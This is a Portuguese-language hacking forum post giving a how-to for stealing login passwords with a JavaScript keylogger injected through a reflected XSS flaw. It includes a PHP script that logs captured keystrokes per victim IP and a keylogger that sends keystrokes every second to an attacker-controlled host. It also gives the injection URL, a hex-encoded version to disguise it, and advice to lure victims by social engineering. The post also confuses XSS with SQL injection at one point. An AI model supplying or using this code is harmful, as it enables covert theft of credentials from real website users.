seja bem vindo ao forum eof, caso nao seja cadastrado se cadastre para poder visualizar todo o conteudo ^^

Você não está conectado. Conecte-se ou registre-se

 » Programação Web » PHP » [dica] Criação de um Web keylogger via XSS

[dica] Criação de um Web keylogger via XSS

Ir em baixo  Mensagem [Página 1 de 1]

1 [dica] Criação de um Web keylogger via XSS em Sab Jan 19, 2013 1:16 pm

coban

avatar
novato
novato
Vou mostrar aqui uma técnica simples de como se obter senhas utilizando-se de um keylogger escrito em Javascript, injetado por XSS Reflected.

Tudo o que nós vamos precisar é de uma conta em um servidor, podendo ser gratuito, como o website.org ou 000WebHost.
Precisamos também que a página que pretendemos pegar as senhas seja vulnerável a SQL Injection. Eu já vi bastante em exemplos como :

Código:
http://site/login.php?erro=Login ou senha incorretos. Tente novamente

Lembrando que não necessariamente a página de login deve ser vulnerável. Se a vulnerabilidade estiver em outros arquivos, você pode criar um formulário de login falso usando Javascript (usando document.write() ou adicionando conteúdo no innerHtml).

Precisaremos também de um pouco de PHP e Javascript, e de bastante engenharia social.

Vulnerabilidade confirmada e servidor criado, vamos iniciar a programação do nosso keylogger.

Mas antes, vamos criar nosso arquivo "keylogger.php" e enviar para o servidor.

Código:
<?php 
$teclas = $_SERVER['QUERY_STRING']; // pegamos a lista de teclas enviadas pelo keylogger 
if(empty($teclas)) die(); // pare aqui (morra) se não for enviada tecla alguma 

$handler = fopen("log-".$_SERVER['REMOTE_ADDR'].".txt", "a+"); // abrimos o arquivo "log-[ip do usuário].txt" para edição, adicionando novo conteúdo ao final do mesmo (a+) 
fwrite($handler, $teclas); // escrevemos as novas teclas no arquivo, e... 
fclose($handler); // fechamos o arquivo

Tudo certo? Agora vamos criar nosso "keylogger.js".

Código:
teclas = ""; // iniciamos uma variável vazia
document.onKeypress = function(e) { // essa função será chamada quando uma tecla for digitada
  evento = window.event?event:e; // obtemos o evento, e...
  tecla = String.fromCharCode(evento.keyCode?evento.keyCode:evento.charCode); // ...obtemos a tecla digitada neste evento
  teclas += tecla; // adicionamos a tecla digitada à lista de teclas digitadas
}

window.setInterval(function() { // uma outra função será chamada a cada 1000 milissegundos (1 segundo)
  new Image().src = "http://seusite/keylogger.php?" + teclas; // é criada uma nova imagem, falsa, com o destino para nosso script PHP. Note que a lista de teclas digitadas no último segundo é enviada via GET/QUERY STRING
  teclas = ""; // limpamos a variável que guarda lista de teclas digitadas
}, 1000); // definimos o intervalo de execucao da funcao para 1 segundo 

-+-

Certo, o que fazemos agora?

Vamos utilizar a vulnerabilidade XSS para injetar nosso código Javascript:

Código:
http://site_alvo/login.php?error=<script src="http://seu_site/keylogger.js"></script>

Podemos também converter nosso código <script> para hexadecimal:

Código:
http://site_alvo/login.php?error=3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%73%65%75%5f

ps. a conversão foi feita usando o complemento HackBar do Mozilla Firefox)

Agora só nos resta usar um pouco de engenharia social e fazer alguém entrar em nosso link preparado.

Muito simples, não ?

créditos : 0KaL

http://endoffile.umforum.net

Voltar ao Topo  Mensagem [Página 1 de 1]

Permissão deste fórum:
Você não pode responder aos tópicos neste fórum